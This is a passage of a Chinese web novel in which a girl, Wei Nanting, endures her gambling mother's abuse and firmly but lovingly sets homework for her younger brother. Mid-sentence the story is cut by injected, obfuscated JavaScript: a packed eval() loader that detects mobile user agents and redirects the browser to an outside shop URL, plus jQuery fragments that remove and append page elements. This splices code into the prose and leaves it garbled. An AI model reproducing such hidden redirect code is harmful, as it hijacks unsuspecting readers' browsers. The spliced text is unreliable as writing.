晌午的日头正烈，晒得院墙上的南瓜藤蔫蔫地垂着叶。
柴火在灶膛里“噼啪”燃着，甑子里蒸出的白汽顺着甑盖缝隙往上冒，混着米香漫了出来。卫南亭将甑子抱起来，放在靠墙的灶台上。
她转身处理上午砍的竹笋，刀刃划过嫩白的笋肉，切成薄薄的片状，倒进沸水锅里焯了，捞出来浸在凉水里。这样能去笋中的苦涩味。
菜案上还摆着根苦瓜，是顺路从自留地里摘的，她切片后和辣椒一起炒，呛人的辣椒香气压过了苦瓜的清苦。
饭菜都端上桌时，已经是12点。
卫南亭不用想也知道，冯玉珍准是又出去打牌了。她盛了碗甑子饭，独自坐在桌边吃起来。这个点没回来，十有八九是输了钱，去叫她吃饭准要拿她撒气，她才不会主动凑上去触霉头。
刚收拾好碗筷，厨房门就被推开了，冯玉珍进来，脸拉得老长，像马脸。
“养你这么大顶什么用？”她把布包往桌上一摔，声音尖尖，“一个人在家偷偷吃独食，眼里还有没有我这个妈！合着我在外头累死累活，回来连口热饭都捞不着？”
卫南亭洗碗的手没停，攥着抹布，心里却一片平静。
累？好笑，这是打牌累着了？
她张了张嘴，想反驳“谁吃独食，我不是煮了你的饭？”，想质问“你打牌输了钱凭什么冲我撒气”，可话到嘴边，终究还是咽了回去。
母女。对她来说，像一道刻在骨头上的符咒，冯玉珍借着这个名义，裹了多少寒凉与苛待给她。
却偏偏躲不开，逃不掉。
但凡一句话怼了冯玉珍，就是不孝。
“药买回来了，你给我钱，两毛钱。”卫南亭说。
这钱她不是非要不可以，只是不能让冯玉珍觉得她手里有“来路不明”的钱。
前世的教训太深刻，外面风言风语传她“未婚先孕”，那些脏水泼得她抬不起头，冯玉珍明明知道是谣言，却半句解释都没有。如今她得处处小心，不给她留半点泼脏水的由头。
“呵，这就跟我算账了？”冯玉珍轻蔑地笑了，“翅膀还没硬呢，倒先学会逃账了。正好，我也得跟你好好算算。上次你从学校回来，你爸偷偷给了你四十块，钱呢？”
原来是知道了呀，就知道她爸爸没什么事能瞒过冯玉珍，不过也没什么关系。
她舀水清洁碗筷，然后逐条掰算：“学校收的资料费十五块，有老师开的收据，回头可以给你看；来回县城的班车费四块，去时两块，回来两块；在县城住了两晚，每晚四块，住宿费八块；每天吃饭最少三块，三天就是九块，这就三十四了。回来时给家里买卤鸭花了五块，给晨晨买奶糖一块，加起来正好三十九，今天买药两角，还剩八角。”
她语速不快，字字清晰。
“你舅舅没给你钱？”冯玉珍愣了愣，又皱着眉追问，显然不信四十块能花得这么干净。
“没有。”卫南亭说，“一年到头，舅舅给我的钱加起来，连过年的红包算上，总共不超过两块。”
说起舅舅的吝啬，她半分愧疚都没有。且舅舅一家对她的态度，她也不可能为他们说好话的。
冯玉珍的眉头拧得更紧，眼神里闪过一丝狐疑，想起了自己去娘家时，大哥大嫂要钱的嘴脸。弟弟那副抠门的模样。
但她对着女儿，依旧没给好脸色，梗着脖子道：“别跟我撒谎，我回头就去问你舅舅。要是让我查出你骗我，看我不打断你的腿。”
卫南亭盛了碗冒着热气的甑子饭，端到冯玉珍面前，放在桌上。
“我没说谎。”她的声音很轻，却带着不容置疑的笃定，“在舅舅家待了这么多年，他给我的所有钱，加起来都超不过二十块。你要是不信，尽管去问。”
冯玉珍果然没再追问，拿起筷子埋头扒饭，每次夹菜，筷子将碗沿敲得“当当”响。
饭吃到一半，见女儿洗好了碗筷，吩咐道：“你就不会主动做事吗？不晓得把药给鸡喂了？喂完去田埂扯豆子，自留地的玉米这两天也得掰完，别整天在家闲晃，吃白食也得有吃白食的样子！”
“嗯。”卫南亭应着，多问了句，“药是直接撒进食槽，还是碾成末拌在水里？”
“啪”的一声，冯玉珍猛地把筷子拍在桌上，眼睛瞪得溜圆，唾沫星子都溅了出来：“这么点小事都要问？你还是个初中生呢，连喂个药都不会？真是又蠢又笨，我看你这书真是白读了！除了吃还会干什么？”她吼得脸红脖子粗，唾沫星子溅在桌布上，却半句喂药的具体方法都没说。
卫南亭早已习惯了。
这就是冯玉珍的作风，只催着干活，从不教怎么干，做得不好还要挨骂。
仿佛她天生就该什么都会，如果不会，就是蠢笨。
她没吭声，只是垂眸看着自己的鞋尖，等冯玉珍的火气稍歇，才转身去灶房找了张旧报纸。
裁成小方块，把土霉素放在报纸上，包好。又用一个药瓶在上面滚动，碾成粉末。最后倒进鸡食槽的清水里搅匀。
这些活儿，其实她早就练熟了。
拎起背篓出门时，阳光晃得她眯了眯眼。她闭上眼，任凭眼泪留下。
理智上已经决定和妈妈划清界限，不希翼她的感情。可每每面对，情感上还是不能接受。妈妈为什么要这么对她？她们好似不是母女，不是家人。明明家里也不缺钱，为什么就非得要把他送到舅舅家。
就这么不待见她吗？
她回头瞥了眼厨房，冯玉珍依旧在骂骂咧咧，大概是还在为输钱的事恼火。
卫南亭心里寒凉至极，妈妈和舅舅这些人，明明是她的至亲，可为什么就不喜欢她？
卫南亭有些无力。
为什么他们都见不得她有半刻停歇，仿佛将她当成是干活的工具，而不是一个需要关怀的人。
门关上时，冯玉珍“哎呀”一声，想起了什么。忘了催她出去打工的事。
下午的阳光斜斜照进院子，卫清晨背着书包一阵风似的冲进门，刚把书包往厨房板凳上一摔，就要往外跑，去和小伙伴享受自由时光。
衣领却突然被人攥住。
卫南亭不知何时已从廊下走来，提着弟弟的衣领。
“站住。”她声音不高，甚至算得上温和，但卫清晨就像被施了定身咒，小身子一僵，苦着脸，慢吞吞地转回头，眼神躲闪，不敢看她。
“上次给你布置的作业，拿出来我看看。”卫南亭伸出手，掌心朝上，没有半点商量的余地。
“哦……好，好的。”卫清晨咽了口唾沫，没敢反驳，耷拉着脑袋溜进房间。很快，他捧着一个边角有些卷起的牛皮纸作业本出来，小心翼翼地递到姐姐手里，像上交什么重要的宝物。
卫南亭翻开本子，目光先落在字迹上。不算多漂亮，但一笔一画，写得工工整整，能看出下了一番功夫，比上次那龙飞凤舞的模样不知强了多少。她觉得欣慰，指尖在纸页上划过，抬眼看他时，已换上了严肃的神色：“放假了，心也野了是吧？先别急着玩。”
她说着，指向饭桌上那两本崭新的册子：“姐姐这次给你带了数学练习册和口算本。《口算本》每天做一页，放假这几天，得把前三章做完。我过两天就要走，要是做不完……”她顿了顿，看着弟弟瞬间紧张起来的小脸，轻轻吐出后半句，“我下次就不回来了。”
她很会拿捏弟弟的软肋。
“啊？”小男孩的脸瞬间垮了下来，嘴角抿得紧紧的，仿佛能挂住一个油瓶，大眼睛里迅速蒙上一层水汽，委屈得快要哭出来。
看着他这副模样，卫南亭心里一软。她怜惜他，但更知道不能心软。她蹲下身，让自己的视线与他齐平，语气放缓了些，却依旧坚定：“别皱眉头。做得好有奖励，下次回来，给你带新的小人书，画的还是孙悟空三打白骨精。”
一提小人书，卫清晨非但没高兴，反而更气了，鼓着腮帮子瞪她，小胸脯一起一伏：“姐姐骗人！上次你就说带的，结果根本没有！”那控诉的眼神，活像她是个十恶不赦的大骗子。
“我是说带，但条件是你把题做好呀。”卫南亭晃了晃手里他刚交上来的旧作业本，语气带着点循循善诱，“我还没检查呢，要是全对，下次肯定给你带，双倍的。再说，这次回来没给你带奶糖和卤鸭吗？你昨天不是啃了一大个鸭腿，喜欢吧？”
提到卤鸭，卫清晨肚子里的馋虫仿佛被勾了出来，满腔的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16765258|186557||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怨气瞬间漏了一半，他下意识地舔了舔嘴唇，连忙点头：“喜欢！姐姐买的卤鸭最好吃了！”
那晚满手油光、齿颊留香的幸福感此刻战胜了委屈。
“喜欢就好。”卫南亭趁机伸手，温柔地摸了摸他细软的头发，声音也更柔了，“不过吃了糖要立刻刷牙，晚上睡前也得刷。要是长了蛀牙，以后别说卤鸭了，连糖都吃不了，只能天天喝没味的稀粥。”
“我刷！我天天刷！”卫清晨吓得赶紧捂住自己的嘴，黑葡萄似的眼睛里满是惊恐，仿佛那可怕的稀粥生涯明天就会到来，“我今天吃完糖就去刷，晚上也刷！我保证！”
卫南亭被他这过度反应逗得心里发笑，面上却不动声色。她把那本崭新的《口算本》递给他。卫清晨接过，胡乱地翻得哗哗响，小脑袋却凑近来，压低声音，带着点讨好的意味问：“姐姐，晚上吃什么呀？”
“就知道吃。”她伸出食指，轻轻点了点他的额头，带着问询，“想吃什么？”
卫清晨立刻扬起小脸，脸上堆起满满的、毫不掩饰的谄媚笑容，像只终于等到主人投喂的小猫：“只要是姐姐做的，我都喜欢！”
卫南亭看着弟弟圆润起来的小身板，心里盘算着空间里那些似乎可以食用的鱼，沉吟了一下说：“晚上吃多了不消化，就简单做个番茄炒鸡蛋，辣椒炒茄子。明天中午给你做酸菜鱼。”
“酸菜鱼？”卫清晨眨着大眼睛，满是新奇，他从来没听过这个名字，“没见过，长什么样子？”在他小小的世界里，只有鲤鱼和草鱼。
“傻小子，”卫南亭被他逗笑了，耐心解释，“酸菜鱼是一种做鱼的方法，是用酸菜和鱼一起煮的。不是鱼的名字。酸酸辣辣的，特别开胃，保证你能就着它吃两大碗饭。”
“酸酸辣辣？”卫清晨想象了一下那味道，立刻拍起手，小脸上绽放出灿烂的笑容，“那肯定好吃！”他全然忘了刚才被作业支配的恐惧，满心都是对美味的期待。
“先别高兴得太早。”卫南亭按住他兴奋得乱动的小肩膀，语气重新带上了不容商量的严厉，“现在，立刻，去做口算本。先写满一页，再写一篇日记。都做完了，检查合格，晚上才能吃番茄炒蛋，明天也才有酸菜鱼。”
卫清晨的笑容瞬间僵在脸上，小肩膀垮了下来，发出一声长长的、惨痛的哀嚎：“还要做口算本啊……姐姐，日记是什么呀？我不会写……”他试图做最后的挣扎。
“日记就是写一天里最有趣、最难忘的事，或者你心里的想法。”卫南亭拉着他走到桌边，铺开一张草稿纸，一笔一画地写下标准的格式，“开头要写上年月日、星期几和天气，比如‘X年X月X日星期三晴’，然后再写正文。你刚开始写还不熟练，先只写十句话，慢慢增加。”
卫清晨盯着那复杂的格式，眉头皱成了一个小疙瘩，满脸都是为难：“那……每天都要写吗？”
“对，少一天都不行。”卫南亭看着他的眼睛，语气郑重得像在做一个极其重要的约定，“下次我回来检查，要是漏写了，不仅没有小人书，连一颗糖都不给你带了。”
“不要！”卫清晨这下真急了，一把抓住她的衣角，用力摇晃着，声音里带上了哭腔，“姐姐你别不回来！我不吃糖也行，不看小人书也行，你一定要回来！”在他心里，姐姐的归来，远比那些零食和玩具重要得多。
卫南亭她再次蹲下来，掏出随身带着的干净帕子，小心翼翼地帮他擦掉溢出眼角的泪珠，指尖轻柔地拂过他柔软的发梢：“乖，不哭。这就是我们的约定。你好好做题、好好写日记，姐姐就一定回来，说话算话。”
“真的？”卫清晨吸着鼻子，带着浓重的鼻音问，眼里还闪着将信将疑的水光。
“真的。”她看着他，眼神清澈而笃定。
卫清晨用力地点点头，用手背抹了把脸，然后捧起那本仿佛重若千斤的本子，乖乖搬了自己的小桌椅到屋檐下有光的地方，深吸一口气，埋头开始攻克他的“作业大山”。
卫南亭站在不远处，看着弟弟时而咬笔头，时而抓耳挠腮的认真侧影，嘴角轻轻扬起一个温柔的弧度。在这个冰冷压抑的家里，这个天真懵懂的弟弟，是她唯一能紧紧握住的、真实的温暖。